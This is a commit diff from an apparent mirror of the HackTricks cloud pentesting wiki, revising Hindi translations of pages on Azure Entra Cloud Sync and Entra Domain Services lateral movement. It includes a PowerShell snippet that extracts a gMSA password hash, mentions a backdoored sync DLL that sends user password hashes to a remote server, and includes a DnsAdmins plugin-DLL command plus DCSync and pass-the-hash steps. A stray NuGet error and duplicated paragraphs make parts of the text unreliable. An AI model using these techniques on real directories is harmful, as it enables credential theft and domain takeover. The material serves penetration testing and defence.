mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement
This commit is contained in:
Translator
@@ -2,55 +2,56 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Cloud Sync** मूल रूप से Azure का नया तरीका है **AD से Entra ID में उपयोगकर्ताओं को समन्वयित करने के लिए**।
|
||||
## बुनियादी जानकारी
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync Microsoft द्वारा एक नई पेशकश है जो उपयोगकर्ताओं, समूहों और संपर्कों को Microsoft Entra ID में समन्वयित करने के लिए आपके हाइब्रिड पहचान लक्ष्यों को पूरा करने और हासिल करने के लिए डिज़ाइन की गई है। यह Microsoft Entra Connect एप्लिकेशन के बजाय Microsoft Entra क्लाउड प्रोविजनिंग एजेंट का उपयोग करके इसे पूरा करता है। हालाँकि, इसे Microsoft Entra Connect Sync के साथ भी उपयोग किया जा सकता है।
|
||||
**Cloud Sync** मूल रूप से Azure का नया तरीका है जिससे **AD के users को Entra ID में synchronize किया जाता है**।
|
||||
|
||||
### Principals Generated
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync Microsoft का एक नया offering है जिसे users, groups, और contacts को Microsoft Entra ID में सिंक करने के लिए डिज़ाइन किया गया है। यह Microsoft Entra Connect application के बजाय Microsoft Entra cloud provisioning agent का उपयोग करके यह काम करता है। हालाँकि, इसे Microsoft Entra Connect Sync के साथ भी एक साथ उपयोग किया जा सकता है।
|
||||
|
||||
इसका काम करने के लिए कुछ प्रिंसिपल Entra ID और On-Premise डायरेक्टरी में बनाए जाते हैं:
|
||||
### जनरेट किए गए principals
|
||||
|
||||
- Entra ID में उपयोगकर्ता `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) को **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) भूमिका के साथ बनाया जाता है।
|
||||
इसको काम करने के लिए कुछ principals दोनों Entra ID और On-Premise directory में बनाए जाते हैं:
|
||||
|
||||
- Entra ID में user `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) बनाया जाता है जिसको role **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) दिया जाता है।
|
||||
|
||||
> [!WARNING]
|
||||
> इस भूमिका के पास पहले बहुत सारे विशेषाधिकार थे और इसका उपयोग [**विशेषाधिकारों को वैश्विक व्यवस्थापक तक बढ़ाने के लिए किया जा सकता था**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)। हालाँकि, Microsoft ने इस भूमिका के सभी विशेषाधिकारों को हटाने और इसे केवल एक नए **`microsoft.directory/onPremisesSynchronization/standard/read`** के साथ असाइन करने का निर्णय लिया है, जो वास्तव में किसी भी विशेषाधिकार कार्रवाई (जैसे उपयोगकर्ता का पासवर्ड या विशेषताओं को संशोधित करना या SP में एक नई क्रेडेंशियल जोड़ना) करने की अनुमति नहीं देता है।
|
||||
> इस role के पास पहले काफी privileged permissions थे और इसे [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b) के लिए उपयोग किया जा सकता था। हालांकि, Microsoft ने इस role के सभी privileges हटा दिए और इसे केवल नया permission **`microsoft.directory/onPremisesSynchronization/standard/read`** सौंपा है जो वास्तव में किसी privileged action (जैसे किसी user का password या attributes modify करना या किसी SP में नया credential जोड़ना) को करने की अनुमति नहीं देता।
|
||||
|
||||
- Entra ID में समूह **`AAD DC Administrators`** बिना सदस्यों या मालिकों के बनाया जाता है। यह समूह उपयोगी है यदि [`Microsoft Entra Domain Services`](./az-domain-services.md) का उपयोग किया जाता है।
|
||||
- Entra ID में group **`AAD DC Administrators`** भी बिना members या owners के बनाया जाता है। यह group उपयोगी है अगर [`Microsoft Entra Domain Services`](./az-domain-services.md) उपयोग किया जा रहा है।
|
||||
|
||||
- AD में, या तो सेवा खाता **`provAgentgMSA`** एक SamAcountName के साथ बनाया जाता है जैसे **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), या एक कस्टम खाता [**इन अनुमतियों की आवश्यकता है**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)। आमतौर पर डिफ़ॉल्ट खाता बनाया जाता है।
|
||||
- AD में, या तो Service Account **`provAgentgMSA`** बनाया जाता है जिसका SamAcountName कुछ इस तरह होता है **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), या एक custom account जो [**इन permissions की ज़रूरत होती है**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)। आमतौर पर default वाला account ही बनाया जाता है।
|
||||
|
||||
> [!WARNING]
|
||||
> अन्य अनुमतियों के बीच, सेवा खाता **`provAgentgMSA`** के पास DCSync अनुमतियाँ हैं, जो **किसी भी व्यक्ति को जो इसे समझौता करता है, पूरे डायरेक्टरी को समझौता करने की अनुमति देती हैं**। DCSync के बारे में अधिक जानकारी के लिए [यहाँ देखें](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)।
|
||||
> अन्य permissions के अलावा Service Account **`provAgentgMSA`** के पास DCSync permissions होते हैं, जिससे **इसे compromise करने वाला कोई भी पूरा directory compromise कर सकता है**। DCSync के बारे में अधिक जानकारी के लिए [यह देखें](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)।
|
||||
|
||||
> [!NOTE]
|
||||
> डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों जैसे डोमेन व्यवस्थापकों के उपयोगकर्ता जिनका विशेषता **`adminCount` 1 है, Entra ID के साथ समन्वयित नहीं होते** सुरक्षा कारणों से। हालाँकि, अन्य उपयोगकर्ता जो इस विशेषता के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं **समन्वयित किए जा सकते हैं**।
|
||||
> डिफ़ॉल्ट रूप से जाने-माने privileged groups जैसे Domain Admins के users जिनका attribute **`adminCount` 1 पर है वो security कारणों से Entra ID के साथ synchronize नहीं होते**। हालाँकि, अन्य users जो privileged groups का हिस्सा हैं लेकिन इस attribute के साथ नहीं हैं या जिन्हें सीधे उच्च privileges दिए गए हैं **वो synchronized हो सकते हैं**।
|
||||
|
||||
## Password Sychronization
|
||||
|
||||
यह अनुभाग बहुत समान है:
|
||||
यह सेक्शन काफी हद तक सेम है जैसा कि:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **पासवर्ड हैश समन्वयन** सक्षम किया जा सकता है ताकि उपयोगकर्ता **AD से अपने पासवर्ड का उपयोग करके Entra ID में लॉगिन कर सकें**। इसके अलावा, जब भी AD में पासवर्ड संशोधित किया जाता है, यह Entra ID में अपडेट हो जाएगा।
|
||||
- **पासवर्ड राइटबैक** को भी सक्षम किया जा सकता है, जिससे उपयोगकर्ता अपने पासवर्ड को Entra ID में संशोधित कर सकते हैं, जो स्वचालित रूप से उनके पासवर्ड को ऑन-प्रिमाइस डोमेन में समन्वयित करता है। लेकिन [वर्तमान दस्तावेज़ों](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) के अनुसार, इसके लिए Connect Agent का उपयोग करना आवश्यक है, इसलिए अधिक जानकारी के लिए [Az Connect Sync अनुभाग](./az-connect-sync.md) पर नज़र डालें।
|
||||
- **समूह राइटबैक**: यह सुविधा Entra ID से समूह सदस्यताओं को ऑन-प्रिमाइस AD में वापस समन्वयित करने की अनुमति देती है। इसका मतलब है कि यदि किसी उपयोगकर्ता को Entra ID में एक समूह में जोड़ा जाता है, तो उन्हें AD में संबंधित समूह में भी जोड़ा जाएगा।
|
||||
- **Password hash synchronization** enable की जा सकती है ताकि users अपने AD के passwords का उपयोग करके **Entra ID में login कर सकें**। इसके अलावा, जब भी AD में कोई password बदलता है, वह Entra ID में अपडेट हो जाता है।
|
||||
- **Password writeback** भी enable की जा सकती है, जिससे users Entra ID में अपना password बदलकर अपने password को on-premise domain में automatic रूप से synchronize कर सकते हैं। लेकिन [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) के अनुसार, इसके लिए Connect Agent का उपयोग आवश्यक है, इसलिए अधिक जानकारी के लिए [Az Connect Sync section](./az-connect-sync.md) देखें।
|
||||
- **Groups writeback**: यह feature Entra ID से on-premises AD को group memberships synchronize करने की अनुमति देता है। इसका मतलब है कि यदि किसी user को Entra ID में किसी group में जोड़ा जाता है, तो उसे AD में संबंधित group में भी जोड़ा जाएगा।
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- यदि AD उपयोगकर्ताओं को AD से Entra ID में समन्वयित किया जा रहा है, तो AD से Entra ID में पिवट करना सीधा है, बस **किसी उपयोगकर्ता का पासवर्ड समझौता करें या किसी उपयोगकर्ता का पासवर्ड बदलें या एक नया उपयोगकर्ता बनाएं और जब तक यह Entra ID डायरेक्टरी में समन्वयित नहीं हो जाता (आमतौर पर केवल कुछ मिनट)**।
|
||||
- यदि AD users AD से Entra ID में sync किए जा रहे हैं, तो AD से Entra ID में pivot करना सीधा है — बस **किसी user का password compromise करें या बदलें या एक नया user बनाएं और उसे Entra ID directory में sync होने तक प्रतीक्षा करें (आम तौर पर कुछ ही मिनट लगते हैं)**।
|
||||
|
||||
तो आप उदाहरण के लिए
|
||||
- **`provAgentgMSA`** खाता समझौता करें, DCSync हमले का प्रदर्शन करें, किसी उपयोगकर्ता का पासवर्ड क्रैक करें और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
- बस AD में एक नया उपयोगकर्ता बनाएं, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
- AD में किसी उपयोगकर्ता का पासवर्ड संशोधित करें, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
उदाहरण के लिए आप कर सकते हैं:
|
||||
- **`provAgentgMSA`** account को compromise करें, DCSync attack करें, किसी user का password crack करें और फिर उसे उपयोग करके Entra ID में login करें।
|
||||
- AD में सिर्फ एक नया user बनाएं, उसे Entra ID में sync होने तक प्रतीक्षा करें और फिर उसे Entra ID में login के लिए उपयोग करें।
|
||||
- AD में किसी user का password modify करें, उसे Entra ID में sync होने तक प्रतीक्षा करें और फिर उसे Entra ID में login के लिए उपयोग करें।
|
||||
|
||||
**`provAgentgMSA`** क्रेडेंशियल्स को समझौता करने के लिए:
|
||||
**`provAgentgMSA`** credentials को compromise करने के लिए:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
@@ -72,22 +73,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
अब आप gMSA के हैश का उपयोग करके `provAgentgMSA` खाते के खिलाफ Entra ID के खिलाफ Pass-the-Hash हमले को अंजाम दे सकते हैं और AD के खिलाफ DCSync हमले करने के लिए स्थिरता बनाए रख सकते हैं।
|
||||
अब आप gMSA के hash का उपयोग करके `provAgentgMSA` खाते का इस्तेमाल करके Entra ID के खिलाफ Pass-the-Hash हमला कर सकते हैं और persistence बनाए रखते हुए AD के खिलाफ DCSync हमले कर सकते हैं।
|
||||
|
||||
Active Directory को समझौता करने के तरीके के बारे में अधिक जानकारी के लिए देखें:
|
||||
For more information about how to compromise an Active Directory check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि Azure या EntraID भूमिकाएँ सिंक किए गए उपयोगकर्ताओं को उनके गुणों के आधार पर देने का कोई तरीका नहीं है, उदाहरण के लिए Cloud Sync कॉन्फ़िगरेशन में। हालाँकि, सिंक किए गए उपयोगकर्ताओं को स्वचालित रूप से अनुमतियाँ देने के लिए कुछ **AD से Entra ID समूहों** को अनुमतियाँ दी जा सकती हैं ताकि उन समूहों के अंदर सिंक किए गए उपयोगकर्ताओं को भी उन्हें प्राप्त हो सके या **गतिशील समूहों का उपयोग किया जा सकता है**, इसलिए हमेशा गतिशील नियमों और उन्हें दुरुपयोग करने के संभावित तरीकों की जांच करें:
|
||||
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users some **Entra ID groups from AD** might be given permissions so the synced users inside those groups also receive them or **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
स्थिरता के संबंध में [यह ब्लॉग पोस्ट](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) सुझाव देती है कि [**dnSpy**](https://github.com/dnSpy/dnSpy) का उपयोग करके **`Microsoft.Online.Passwordsynchronisation.dll`** को बैकडोर करना संभव है जो **`C:\Program Files\Microsoft Azure AD Sync\Bin`** में स्थित है और जिसका उपयोग Cloud Sync एजेंट द्वारा पासवर्ड समन्वयन करने के लिए किया जाता है, जिससे यह उपयोगकर्ताओं के पासवर्ड हैश को एक दूरस्थ सर्वर पर एक्सफिल्ट्रेट करता है। हैश **`PasswordHashGenerator`** वर्ग के अंदर उत्पन्न होते हैं और ब्लॉग पोस्ट सुझाव देता है कि कुछ कोड जोड़ा जाए ताकि वर्ग इस तरह दिखे (ध्यान दें `use System.Net` और पासवर्ड हैश को एक्सफिल्ट्रेट करने के लिए `WebClient` का उपयोग):
|
||||
Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -121,20 +122,17 @@ RawHash = passwordHashData.RawHash
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- यदि **Password Writeback** सक्षम है, तो आप Entra ID से कुछ उपयोगकर्ताओं का पासवर्ड संशोधित कर सकते हैं और यदि आपके पास AD नेटवर्क तक पहुंच है, तो उनके माध्यम से कनेक्ट करें। अधिक जानकारी के लिए [Az Connect Sync section](./az-connect-sync.md) अनुभाग देखें क्योंकि पासवर्ड राइटबैक उस एजेंट का उपयोग करके कॉन्फ़िगर किया गया है।
|
||||
- If **Password Writeback** is enabled, आप Entra ID से कुछ उपयोगकर्ताओं के पासवर्ड बदल सकते हैं और अगर आपके पास AD network का access है तो उन क्रेडेंशियल्स से connect कर सकते हैं। For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
|
||||
|
||||
- इस समय Cloud Sync भी **"Microsoft Entra ID to AD"** की अनुमति देता है, लेकिन बहुत समय बाद मैंने पाया कि यह EntraID उपयोगकर्ताओं को AD में समन्वयित नहीं कर सकता और यह केवल उन EntraID उपयोगकर्ताओं को समन्वयित कर सकता है जो पासवर्ड हैश के साथ समन्वयित किए गए थे और उसी डोमेन वन के डोमेन से आते हैं जिसमें हम समन्वयित कर रहे हैं जैसा कि आप पढ़ सकते हैं [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, लेकिन लंबे समय तक देखने पर मैंने पाया कि यह EntraID users को AD में synchronize नहीं कर सकता और यह केवल उन उपयोगकर्ताओं को synchronize कर सकता है जो EntraID से आए थे और जिनका password hash के साथ synchronized किया गया था और वे उसी domain forest से आने चाहिए जो उस domain का हिस्सा हो जिसमें हम synchronize कर रहे हैं जैसा कि आप पढ़ सकते हैं [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - ये समूह केवल ऑन-प्रिमाइसेस समन्वयित उपयोगकर्ताओं और / या अतिरिक्त क्लाउड द्वारा बनाए गए सुरक्षा समूहों को शामिल कर सकते हैं।
|
||||
> - ऑन-प्रिमाइसेस उपयोगकर्ता खाते जो समन्वयित हैं और इस क्लाउड द्वारा बनाए गए सुरक्षा समूह के सदस्य हैं, वे उसी डोमेन या क्रॉस-डोमेन से हो सकते हैं, लेकिन वे सभी एक ही वन से होने चाहिए।
|
||||
> - ये groups केवल on-premises synchronized users और / या अतिरिक्त cloud created security groups ही contain कर सकते हैं.
|
||||
> - जो on-premises user accounts synchronized हैं और इस cloud created security group के सदस्य हैं, वे same domain या cross-domain से हो सकते हैं, पर वे सभी same forest से होने चाहिए.
|
||||
|
||||
So the attack surface (and usefulness) of this service is greatly reduced as an attacker would need to compromise the initial AD from where the users are being synchronized in order to compromise a user in the other domain (and both must be in the same forest apparently).
|
||||
|
||||
इसलिए इस सेवा की हमले की सतह (और उपयोगिता) काफी कम हो जाती है क्योंकि एक हमलावर को उन उपयोगकर्ताओं को समन्वयित करने के लिए प्रारंभिक AD से समझौता करना होगा ताकि दूसरे डोमेन में एक उपयोगकर्ता से समझौता किया जा सके (और दोनों को स्पष्ट रूप से एक ही वन में होना चाहिए)।
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
|
||||
@@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## डोमेन सर्विसेज
|
||||
## डोमेन सेवाएँ
|
||||
|
||||
Microsoft Entra Domain Services आपको Azure में Active Directory deploy करने की अनुमति देता है बिना Domain Controllers को manage किए (असल में आपके पास उन पर access भी नहीं होता)।
|
||||
Microsoft Entra Domain Services आपको Azure में Active Directory को बिना Domain Controllers को manage किए (वास्तव में आपको उनसे access भी नहीं मिलता) स्थापित करने की सुविधा देता है।
|
||||
|
||||
इसका मुख्य उद्देश्य यह है कि आप उन legacy applications को cloud में चला सकें जो modern authentication methods इस्तेमाल नहीं कर सकतीं, या ऐसी जगहें जहाँ आप नहीं चाहते कि directory lookups हमेशा on-premises AD DS environment पर वापस जाएँ।
|
||||
इसका मुख्य उद्देश्य यह है कि आप क्लाउड में legacy applications चला सकें जो आधुनिक authentication methods का उपयोग नहीं कर सकते, या जहाँ आप नहीं चाहते कि directory lookups हमेशा ऑन-प्रिमाइसेस AD DS वातावरण की ओर वापस जाएँ।
|
||||
|
||||
ध्यान दें कि Entra ID में बनाए गए users (जो अन्य active directories से synchronized नहीं हैं) को AD domain service के साथ synchronize करने के लिए आपको उपयोगकर्ता का **पासवर्ड बदलना** होगा ताकि वे नए AD के साथ sync हो सकें। वास्तव में, user तब तक Microsoft Entra ID से Domain Services में synchronized नहीं होता जब तक पासवर्ड बदला न जाए।
|
||||
ध्यान दें कि Entra ID में बनाये गए उपयोगकर्ताओं (और जो अन्य active directories से synchronized नहीं हैं) को AD domain service में synchronize करने के लिए आपको उपयोगकर्ता का पासवर्ड **नया पासवर्ड सेट करके बदलना** होगा ताकि वह नए AD के साथ synchronize हो सके। वास्तव में, उपयोगकर्ता Microsoft Entra ID से Domain Services में तब तक synchronized नहीं होता जब तक पासवर्ड बदला नहीं जाता।
|
||||
|
||||
> [!WARNING]
|
||||
> भले ही आप एक नया active directory domain बना रहे हों, आप उसे पूरी तरह manage नहीं कर पाएँगे (जब तक कि कुछ misconfigurations का exploit न करें), जिसका मतलब है कि default तौर पर आप उदाहरण के लिए AD में सीधे users नहीं बना सकते। आप उन्हें **Entra ID से users synchronize करके** बनाते हैं। आप तय कर सकते हैं कि सभी users synchronize हों (यहाँ तक कि वे भी जो other on-premise ADs से synced हैं), केवल cloud users (Entra ID में बनाए गए users), या उन्हें और भी **फ़िल्टर** कर सकते हैं।
|
||||
> भले ही आप एक नया active directory domain बना रहे हों, आप इसे पूरी तरह से manage नहीं कर पाएँगे (जब तक कि कुछ misconfigurations का फायदा न उठाएँ), जिसका मतलब है कि default रूप में उदाहरण के लिए आप सीधे AD में users नहीं बना सकते। आप उन्हें **Entra ID से synchronize करके** बनाते हैं। आप संकेत दे सकते हैं कि सभी users synchronize हों (यहाँ तक कि वे जो अन्य on-premise ADs से synced हैं), केवल cloud users (Entra ID में बनाए गए users), या आप उन्हें और भी **filter** कर सकते हैं।
|
||||
|
||||
> [!NOTE]
|
||||
> सामान्य तौर पर, नए domain की configuration में लचीलापन कम होने और यह तथ्य कि ADs आमतौर पर पहले से ही on-premise होते हैं, के कारण यह Entra ID और AD के बीच मुख्य integration नहीं है, परन्तु इसे compromise करने का तरीका जानना फिर भी दिलचस्प है।
|
||||
> सामान्यतः, नए domain के configuration पर लचीलापन न होने और यह तथ्य कि ADs आमतौर पर पहले से on-premise होते हैं, के कारण यह Entra ID और AD के बीच मुख्य integration नहीं है, पर फिर भी इसे समझकर समझौता करना उपयोगी हो सकता है।
|
||||
|
||||
### Pivoting
|
||||
|
||||
Generated **`AAD DC Administrators`** group के सदस्य उन VMs पर local admin permissions प्राप्त करते हैं जो managed domain से domain-joined हैं (domain controllers पर नहीं), क्योंकि उन्हें local administrators group में जोड़ा जाता है। इस group के सदस्य **Remote Desktop** का उपयोग करके domain-joined VMs से दूरस्थ रूप से कनेक्ट भी कर सकते हैं, और ये नीचे दिए गए समूहों के भी सदस्य होते हैं:
|
||||
जनरेट किए गए **`AAD DC Administrators`** समूह के सदस्य उन VMs पर local admin permissions प्राप्त करते हैं जो managed domain में domain-joined हैं (लेकिन domain controllers में नहीं) क्योंकि उन्हें local administrators group में जोड़ा जाता है। इस समूह के सदस्य **Remote Desktop का उपयोग कर domain-joined VMs से रिमोटली कनेक्ट** भी कर सकते हैं, और ये निम्नलिखित समूहों के भी सदस्य होते हैं:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: यह एक समूह है जो उन users और groups को निर्दिष्ट करता है जिनके passwords RODCs (Read-Only Domain Controllers) पर cached नहीं किए जा सकते।
|
||||
- **`Group Policy Creators Owners`**: यह समूह सदस्यों को domain में Group Policies बनाने की अनुमति देता है। हालांकि, इसके सदस्य users या groups पर group policies apply नहीं कर सकते और न ही मौजूदा GPOs को edit कर सकते हैं, इसलिए यह environment में उतना दिलचस्प नहीं है।
|
||||
- **`DnsAdmins`**: यह समूह DNS settings को manage करने की अनुमति देता है और पिछले समय में [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins) के लिए abused किया गया था, हालांकि इस environment में उस attack का परीक्षण करने पर जाँच किया गया कि vulnerability patched है:
|
||||
- **`Denied RODC Password Replication Group`**: यह वह समूह है जो उन users और समूहों को निर्दिष्ट करता है जिनके पासवर्ड RODCs (Read-Only Domain Controllers) पर कैश नहीं किए जा सकते।
|
||||
- **`Group Policy Creators Owners`**: यह समूह सदस्यों को domain में Group Policies बनाने की अनुमति देता है। हालांकि, इसके सदस्य users या groups पर group policies लागू नहीं कर सकते या मौजूदा GPOs को एडिट नहीं कर सकते, इसलिए यह इस environment में इतना रोचक नहीं है।
|
||||
- **`DnsAdmins`**: यह समूह DNS सेटिंग्स को manage करने की अनुमति देता है और अतीत में इसका दुरुपयोग [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins) करने के लिए किया गया था, हालांकि इस environment में हमले का परीक्षण करने पर यह देखा गया कि vulnerability patched है:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
@@ -30,14 +30,23 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
|
||||
Note that to grant these permissions, inside the AD, the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
|
||||
|
||||
Entra ID से Domain Services के साथ बनाए गए AD में pivot करना सीधा है — बस किसी user को समूह **`AAD DC Administrators`** में जोड़ें, domain की किसी/सभी मशीनों में RDP से प्रवेश करें और आप डेटा चुरा सकेंगे और साथ ही **compromise the domain.**
|
||||
ध्यान दें कि इन अनुमतियों को देने के लिए, AD के अंदर, समूह **`AAD DC Administrators`** को पिछले समूहों का सदस्य बनाया जाता है, और साथ ही GPO **`AADDC Computers GPO`** डोमेन समूह **`AAD DC Administrators`** के सभी सदस्यों को Local Administrators के रूप में जोड़ रहा है।
|
||||
|
||||
हालाँकि, domain से Entra ID की ओर pivot करना उतना आसान नहीं है क्योंकि domain से कुछ भी Entra ID में synchronized नहीं हो रहा है। फिर भी, हमेशा उन सभी VMs की metadata की जाँच करें जो joined हैं क्योंकि उनके assigned managed identities में रोचक permissions हो सकती हैं। साथ ही **dump all the users passwords from the domain** और उन्हें crack करने की कोशिश करें ताकि आप Entra ID / Azure में लॉगिन कर सकें।
|
||||
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
|
||||
|
||||
Entra ID से Domain Services के साथ बने AD पर pivot करना सीधा है — बस किसी यूज़र को समूह **`AAD DC Administrators`** में जोड़ें, RDP से डोमेन की किसी/सभी मशीनों में पहुँचें और आप डेटा चुरा सकेंगे और साथ ही **compromise the domain.**
|
||||
|
||||
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
|
||||
|
||||
हालाँकि, डोमेन से Entra ID की तरफ pivot करना इतना आसान नहीं है क्योंकि डोमेन से कुछ भी Entra ID में synchronized नहीं होता। फिर भी, हमेशा सभी जुड़े VMs के metadata की जाँच करें क्योंकि उनके assigned managed identities के पास रोचक permissions हो सकते हैं। साथ ही **dump all the users passwords from the domain** और उन्हें crack करने की कोशिश करें ताकि बाद में Entra ID / Azure में लॉगिन कर सकें।
|
||||
|
||||
> [!NOTE]
|
||||
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). एक attacker जो DC को compromise कर लेता है, वह बहुत आसानी से maintain persistence बनाए रख सकता है बिना Azure admins के इसे नोटिस किए या (यहाँ तक कि) इसे हटाने में सक्षम हुए।
|
||||
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि पहले इस managed AD में अन्य vulnerabilities भी पाई गई थीं जो DCs को compromise करने की अनुमति देती थीं, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). एक attacker जो DC को compromise कर लेता है, बहुत आसानी से persistence बनाए रख सकता है बिना Azure admins के नोटिस किए जाने या उसे हटाने में सक्षम होने के।
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user